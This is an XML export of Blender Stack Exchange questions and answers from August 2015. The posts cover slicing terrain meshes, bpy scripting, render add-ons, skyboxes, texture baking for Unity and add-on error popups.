  <row Id="34942" PostTypeId="1" AcceptedAnswerId="34943" CreationDate="2015-08-01T22:48:19.093" Score="5" ViewCount="1955" Body="&lt;p&gt;I am working on a game-engine and the time has come to model a simple map. I thought, since i already use blender for models, why not for the map, since creating a world-editor can be time-consuming. The problem is, my engine expects the world to be in quadratic chunks of equal size. I'd like to model the map as a big plane with structures on-top in Blender and afterwards, cut the whole scene with plane and structures in equal quads to export them individually. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DfzQ0.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DfzQ0.png&quot; alt=&quot;World&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd need the whole terrain-plane to get split at the red lines &lt;strong&gt;and&lt;/strong&gt; the little house, so every part of the house is in the corresponding chunk when i export the chunks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, when i create multiple equal-sized quadratic planes, to somehow &lt;em&gt;glue&lt;/em&gt; one edge of one plane to another edge of another plane, so i neither get holes in between, nor get overlapping faces?&lt;/p&gt;&#xA;" OwnerUserId="8319" LastActivityDate="2015-08-01T23:09:22.790" Title="Cut big mesh (plane) in quadratic parts" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34943" PostTypeId="2" ParentId="34942" CreationDate="2015-08-01T23:09:22.790" Score="8" Body="&lt;p&gt;To do this first join all your objects into one if they aren't already by selecting them all and hitting &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;.  Then create another grid object consisting of &lt;strong&gt;just edges&lt;/strong&gt; which you will use to slice up the map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qAcWb.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qAcWb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the grid &lt;em&gt;and then&lt;/em&gt; the terrain (in that order), enter edit mode, go to top view (&lt;kbd&gt;numpad 7&lt;/kbd&gt;), make sure you are in orthographic mode (&lt;kbd&gt;numpad 5&lt;/kbd&gt; to toggle), then use the &lt;em&gt;knife project&lt;/em&gt; tool found in the toolbar.  Make sure &lt;em&gt;cut through&lt;/em&gt; is checked after you do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pdJ1i.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pdJ1i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your terrain will then be sliced up based on the grid object's edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SskXX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SskXX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-08-01T23:09:22.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34944" PostTypeId="1" AcceptedAnswerId="34953" CreationDate="2015-08-02T00:20:36.070" Score="1" ViewCount="1222" Body="&lt;p&gt;I've been using Blender for about a year now, and have never been successful at enabling any external rendering add-on. I end up with the message below whenever I attempt to do so. Do I need to the have actual, separate rendering engine installed before enabling the add-on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cga53.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cga53.jpg&quot; alt=&quot;Error message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16084" LastEditorUserId="2217" LastEditDate="2015-08-02T00:37:44.550" LastActivityDate="2015-08-02T05:27:18.680" Title="How to enable external rendering engine?" Tags="&lt;rendering&gt;&lt;add-on&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34946" PostTypeId="1" CreationDate="2015-08-02T01:32:12.867" Score="2" ViewCount="5799" Body="&lt;p&gt;This might be a really stupid question-I'm working in bpy right now and want to add a plane at a specific location...I know that &lt;a href=&quot;https://blender.stackexchange.com/questions/26656/how-to-add-an-object-at-a-specific-posistion-in-blender-game-engine&quot;&gt;How to add an object at a specific posistion in Blender Game Engine&lt;/a&gt; works for bge but am not sure if it'll work in bpy...&lt;/p&gt;&#xA;" OwnerUserId="15734" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-08-02T12:21:50.553" Title="add object at specific location with python?" Tags="&lt;python&gt;&lt;mesh&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34947" PostTypeId="2" ParentId="34946" CreationDate="2015-08-02T01:35:06.013" Score="0" Body="&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_plane_add(location=(x,y,z)) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;does the trick&lt;/p&gt;&#xA;" OwnerUserId="15734" LastEditorUserId="2217" LastEditDate="2015-08-02T02:23:30.287" LastActivityDate="2015-08-02T02:23:30.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34948" PostTypeId="1" CreationDate="2015-08-02T02:00:06.827" Score="0" ViewCount="439" Body="&lt;p&gt;My friend is making a hobby game in Unity game engine and asked me to help with 3d models/animations.&#xA;I have zero experience except for this week of work and have made cups and clocks and hats etc (easy stuff).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the modeling parts pretty ok, texturing somewhat ok, but baking not so ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;My friend wants NO SHADOWS OR LIGHTING (or just a single light) in my end products, but I don't know how to bake without the lights and get a clear texture bake.&#xA;I found some sites, but the options in properties and in materials they had I don't have in my blender v2.75 and so I'm lost.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;He griped or I should say unity engine griped at my end products because they are in too many parts. Even after I use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; to add them together.  Unity says: too many mesh parts, it wants them all into 1.  So I'm very lost on this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I Need help with:&lt;br&gt;&#xA;Texture baking with out shadows and possible no lighting, but want clear textures.&lt;br&gt;&#xA;How to consolidate/condense meshes into 1 file for unity.  &lt;/p&gt;&#xA;" OwnerUserId="16085" LastEditorUserId="16085" LastEditDate="2015-08-02T03:47:16.223" LastActivityDate="2016-09-27T02:17:29.943" Title="Need help with texture bake and consolidating meshes for UNITY engine" Tags="&lt;mesh&gt;&lt;texture-baking&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34949" PostTypeId="1" CreationDate="2015-08-02T02:06:19.523" Score="0" ViewCount="144" Body="&lt;p&gt;I have a plane and I want to set its collision bounds programmatically (I have some other objects in my scene and I want it to act as a floor). How do I do this? Couldn't really find anything conclusive online...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2015-08-02T02:06:19.523" Title="collision bounds with python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;blender-internal-render-engine&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34951" PostTypeId="1" AcceptedAnswerId="34952" CreationDate="2015-08-02T03:33:27.197" Score="1" ViewCount="1535" Body="&lt;p&gt;I have a cubemap I got from somewhere that I want to use as a skybox for a scene, but it seems that there are no options in the World context to set it as the texture surrounding everything. &quot;Image Texture&quot; for Background color only gives me a single color across the scene that (I'm guessing) is the average of the colors in the texture, and &quot;Environment Texture&quot; doesn't allow for cube-based projection. How would I go about utilizing the texture I've gotten?&lt;/p&gt;&#xA;" OwnerUserId="16081" LastActivityDate="2015-08-02T05:23:17.917" Title="How to make use of a cubemap in Blender Cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-02T22:11:08.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="34952" PostTypeId="2" ParentId="34951" CreationDate="2015-08-02T05:23:17.917" Score="2" Body="&lt;p&gt;You could just UV unwrap a Cube object, map the texture to the inside faces and then scale it up large enough to contain your scene. Should work just fine.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-08-02T05:23:17.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34953" PostTypeId="2" ParentId="34944" CreationDate="2015-08-02T05:27:18.680" Score="0" Body="&lt;p&gt;Yes, all external renderers are separate applications to Blender. The addons are simply helper scripts to pass data back and forth between Blender and the app. You definitely need to have the renderer application installed on your computer to get it to work.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-08-02T05:27:18.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34954" PostTypeId="2" ParentId="34930" CreationDate="2015-08-02T05:29:18.277" Score="0" Body="&lt;p&gt;The easiest way to do this is to UV unwrap the cube first, and then create 2 materials for the cube. Apply 1 material to the single face that you want the texture on, and the second material to the other 5 faces. Once that is set up, it should be trivial to update the image texture on the 1 face via python.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-08-02T05:29:18.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34955" PostTypeId="1" CreationDate="2015-08-02T05:30:06.123" Score="2" ViewCount="784" Body="&lt;p&gt;I'm working on making a video that looks like anime. I'm trying to use openGL viewport render to do the bulk of the work and it's going good, animation, characters, background and sky is all done and viewable in the viewport. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use the models that have already been animated and textured as a mask so that if I want to make a cool effect outside of the viewport render, I can overlay that effect onto the scene? What is the best way to accomplish this? For example, if I have a 3D man and like the way the viewport renders him but want an aura type effect around him, how would I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My file is too big to share but let me know if you have any questions about it. Everything in the scene so far is a 3D model, no image sequences or videos at the moment, though I may use image or video sequences or for effects.&lt;/p&gt;&#xA;" OwnerUserId="13912" LastEditorUserId="3401" LastEditDate="2015-08-02T06:18:45.760" LastActivityDate="2017-05-09T19:05:43.873" Title="3D Model mask? ID?" Tags="&lt;3d-view&gt;&lt;opengl&gt;&lt;masking&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34956" PostTypeId="2" ParentId="34937" CreationDate="2015-08-02T05:42:26.110" Score="8" Body="&lt;p&gt;All the other answers are work-arounds when you want a single button solution like in Adobe Illustrator and others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution you want is in the addon called Oscurart Tools. The link to the addon is here: &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Oscurart_Tools&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Oscurart_Tools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It comes with many features but the one you want is the second button from the bottom in the Object section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/S5AIp.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S5AIp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Addon Download tip&lt;/strong&gt;: The wiki page links to a list of separate file links that you have to download separately. Once you download them all, put them in a folder labelled &quot;oscurart_tools&quot; and then make a zip file from that. You can then import the addon from file this way for ease of use.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-08-02T13:00:31.043" LastActivityDate="2015-08-02T13:00:31.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34957" PostTypeId="1" AcceptedAnswerId="96338" CreationDate="2015-08-02T06:17:54.113" Score="3" ViewCount="3076" Body="&lt;p&gt;I'm rendering volumetric clouds using &lt;a href=&quot;http://www.blendswap.com/blends/view/76516&quot; rel=&quot;nofollow noreferrer&quot;&gt;Procedural cycles Clouds shader&lt;/a&gt;.&#xA;I'm getting a good result, but with a strange noise (middle bottom screen):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e43E7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e43E7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's about 180 passes. As you can see everything is good, but this place is noisy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to reduce it next time?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also first time I used a default Transparency value – Min 3, Max 8. I got &lt;a href=&quot;https://drive.google.com/file/d/0B_FNAPfGdyflbVVJSG00NTM5S0U/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;this result&lt;/a&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BNvAN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BNvAN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the same place a black box are visible. In other places you can see other boxes. I think it is one of many particles border. I reduce it by increase Transparency value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why the boxes are visible with default Transparency value?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;May be I should change another value to achieve better result?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your suggestions!&lt;/p&gt;&#xA;" OwnerUserId="8120" LastEditorUserId="8120" LastEditDate="2017-12-18T05:20:33.440" LastActivityDate="2017-12-18T05:20:33.440" Title="Volumetric cloud render noise in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;transparency&gt;&lt;volumetrics&gt;&lt;noise-reduction&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34958" PostTypeId="2" ParentId="3172" CreationDate="2015-08-02T06:47:01.773" Score="0" Body="&lt;p&gt;Add an object, just something simple like a cube, add that cube to the group you want to remove. Hit &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt;, and choose the group you want to remove. Then close the scene, and re-open it. That group will be gone!&lt;/p&gt;&#xA;" OwnerUserId="16089" LastEditorUserId="8094" LastEditDate="2015-08-02T10:33:03.773" LastActivityDate="2015-08-02T10:33:03.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34959" PostTypeId="2" ParentId="34955" CreationDate="2015-08-02T07:35:53.893" Score="0" Body="&lt;p&gt;What I would do is to add an object to your scene (which I will refer to in this answer as a &quot;screen object&quot;) parented to the camera in such a way that the object to which you want to apply the special effect is always between the camera and the screen object. While plane is an obvious choice for a object, it is not the only one. Some effects might be better applied to a hemisphere screen object, and others might do better on a portion of an elliptical cylinder. The choice of object, and the size would depend upon the specific effect desired, and it's possible there could be more than one screen object in order to realize the desired effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The screen object is assigned a transparent material, to which is applied your effect as an image or movie texture. One approach might be to hide the screen object in the scene until just before you wanted to create the effect in the final animation, then unhide the screen object with the material and texture assigned. When the effect has played out, then rehide the screen object. There could be more than one screen object at the same time, hidden or unhidden as needed, and other techniques, like texture swapping could be applied, too. And I'm not sure there's any reason that multiple screen objects could not be applied at the same time, if needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I've missed something (and that's possible, since animation is not yet a very significant portion of my personal skill set), using this technique would allow the character to be its own mask in &quot;real time&quot;. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-08-02T07:35:53.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34960" PostTypeId="2" ParentId="34946" CreationDate="2015-08-02T07:55:06.767" Score="4" Body="&lt;p&gt;The tooltip of the &lt;em&gt;Add &gt; Mesh &gt; Plane&lt;/em&gt; menu path shows this information, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; to copy it to clipboard.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Tooltip&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8sBBG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8sBBG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these menu items trigger &lt;em&gt;operators&lt;/em&gt; and take several optional arguments, &lt;code&gt;location=(x,y,z)&lt;/code&gt; included. The same applies to the other items in the Curve, Surface Metaball etc., menus.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Docs&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The total list can be found in several locations, &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_3/bpy.ops.mesh.html?highlight=bpy.ops.mesh.primitive_plane_add#bpy.ops.mesh.primitive_plane_add&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the docs&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Blender's Python Console&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;use the auto complete feature (&lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;space&lt;/kbd&gt;) in the Blender python console after typing &lt;code&gt;bpy.ops.mesh.primitive_&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n1o0I.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n1o0I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The arguments to the &lt;code&gt;bpy.ops.*&lt;/code&gt; can be found doing auto completion too&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mBYcz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mBYcz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Info Panel&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can see the history of most of the code which has been triggered in the UI, in the Info panel if you drag it down&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Fwpnq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fwpnq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-02T12:21:50.553" LastActivityDate="2015-08-02T12:21:50.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34961" PostTypeId="2" ParentId="34926" CreationDate="2015-08-02T09:11:06.643" Score="3" Body="&lt;p&gt;You can get two selected vertices via &lt;code&gt;bm.select_history&lt;/code&gt; and calculate a direction vector, then measure the angle between this angle and the up vector &lt;code&gt;(0, 0, 1)&lt;/code&gt; in radians and convert it to degrees (below script prints the smaller angle):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from math import degrees, pi&#xA;from mathutils import Vector&#xA;&#xA;ob = bpy.context.object&#xA;assert ob.type == 'MESH'&#xA;me = ob.data&#xA;&#xA;bm = bmesh.from_edit_mesh(me)&#xA;verts_sel = [el for el in bm.select_history if isinstance(el, bmesh.types.BMVert)]&#xA;assert len(verts_sel) == 2&#xA;&#xA;v1 = verts_sel[1].co - verts_sel[0].co    &#xA;v2 = Vector((0, 0, 1))&#xA;&#xA;a1 = v1.angle(v2)&#xA;if a1 &amp;gt; pi * 0.5:&#xA;    a1 = pi - a1&#xA;print(&quot;{:.2f} degrees&quot;.format(degrees(a1)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-08-02T19:14:17.230" LastActivityDate="2015-08-02T19:14:17.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34962" PostTypeId="2" ParentId="34896" CreationDate="2015-08-02T09:22:07.420" Score="1" Body="&lt;p&gt;You can only bind callbacks to properties, but you can't determine the origin of a change event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be called the same way regardless of whether the user dragged a slider in a panel here, or ticked a checkbox in a panel there, or if he/she or another script changed the property programmatically.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-08-02T09:22:07.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34963" PostTypeId="1" CreationDate="2015-08-02T09:33:38.857" Score="0" ViewCount="950" Body="&lt;p&gt;I would like to use multiple textures to paint both sides of a mirror modifier. The idea is to paint one side of the mirror modifier, and duplicate it with the text flipped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I apply my mirror modifier, the texture is still mirrored with no indication of where the other half of the texture is getting its data from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use two different images to texture the object? Is there a better way, such as mirroring the entire object EXCEPT for the text? If so, how would that be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8hHWe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8hHWe.png&quot; alt=&quot;Image of the Problem&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16091" LastActivityDate="2015-08-02T09:57:38.483" Title="Multiple Textures with Mirror Modifier" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-02T16:04:19.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="34964" PostTypeId="1" AcceptedAnswerId="34966" CreationDate="2015-08-02T09:51:22.503" Score="1" ViewCount="510" Body="&lt;p&gt;I am trying to assign a material to a mesh I have. Whenever I assign a material to my mesh in blender render, and then change the diffuse colour, it works, though when I try the same thing in cycles render, nothing happens. I have to change the viewport colour in order for me to see an effect. How do I get the materials to work in cycles render? What are the exact steps?&lt;/p&gt;&#xA;" OwnerUserId="16092" LastActivityDate="2015-08-02T10:13:34.130" Title="Material not assigning in cycles render, works in blender renderer" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;uv&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34965" PostTypeId="2" ParentId="34963" CreationDate="2015-08-02T09:57:38.483" Score="0" Body="&lt;p&gt;You can adjust the Mirror Texture Settings by checking U or V, or both&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0ldMi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ldMi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture won't be mirrored, and when you apply the mirror modifier you will be able to see all the parts clearly ( &lt;em&gt;in the UV editor&lt;/em&gt; )&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-02T09:57:38.483" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34966" PostTypeId="2" ParentId="34964" CreationDate="2015-08-02T10:04:37.557" Score="2" Body="&lt;p&gt;In the 3D view you can change the viewport shading to rendered &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; then you can see the changes you make in your material. &#xA;But if you want to see the different colors in the 3D viewport under the solid viewport shading then you have to change the viewport color in the material settings as you did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/o7jKw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o7jKw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="8094" LastEditDate="2015-08-02T10:13:34.130" LastActivityDate="2015-08-02T10:13:34.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34968" PostTypeId="1" AcceptedAnswerId="35038" CreationDate="2015-08-02T12:17:32.780" Score="3" ViewCount="2369" Body="&lt;p&gt;I am trying to write a script that does various things to a mesh object from within a loop, and updates the 3D window each time, based on &lt;a href=&quot;https://gist.github.com/zeffii/a422d4d7dc04ed023a57#file-proof2-py&quot; rel=&quot;nofollow noreferrer&quot;&gt;this script&lt;/a&gt;. This would be for explanatory and instructive purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to trigger a screen capture (to PNG) of only the 3D window each time as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm experimenting with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.screen.screenshot(filepath=path, full=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which I found in the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_3/bpy.ops.screen.html?highlight=screenshot#bpy.ops.screen.screenshot&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to include &lt;code&gt;...blah.png&lt;/code&gt; in the path name in order to get a PNG, or else it writes a .blend file each time. That's OK I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with &lt;code&gt;full=False&lt;/code&gt; so far I don't seem to have good control getting my mouse-hover to tell the already-running-script which window I want to be active in order for the script to capture it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: Is there some way I can just explicitly specify in the script which window should be captured?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I made this GIF by hand from 34 manual screen shots, I'd like to automate this kind of thing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gunu0.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gunu0.gif&quot; alt=&quot;sequential vertex selection animation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2015-08-02T13:53:51.370" LastActivityDate="2021-03-06T07:49:26.327" Title="how to specify active window for a series of screen captures in python" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34969" PostTypeId="1" AcceptedAnswerId="34971" CreationDate="2015-08-02T13:03:37.817" Score="14" ViewCount="4439" Body="&lt;p&gt;Are there standardized features in the python API for displaying the popup and error message that users typically see in Blender when they're not doing something the right way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to apply a modifier in edit mode, for instance...or when there is an exception, you get a popup with a red triangle and a description, and there is a message printed in the info header (see screenshot below). From my searching in the API and around the web, it seems like the answer is no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C54JS.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C54JS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can otherwise just make my own panel and popup for this that replicates that functionality. The only thing left to do for this is identify the remaining parts of the API that are relevant to replicate:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_3/bpy.types.WindowManager.html#bpy.types.WindowManager.invoke_props_popup&quot; rel=&quot;noreferrer&quot; title=&quot;UI popup&quot;&gt;UI popup&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="417" LastEditorUserId="417" LastEditDate="2015-08-02T13:38:53.140" LastActivityDate="2020-03-29T17:13:12.703" Title="Proper way to show users error info in the UI for addons" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ClosedDate="2021-03-17T02:48:40.823" ContentLicense="CC BY-SA 3.0" />
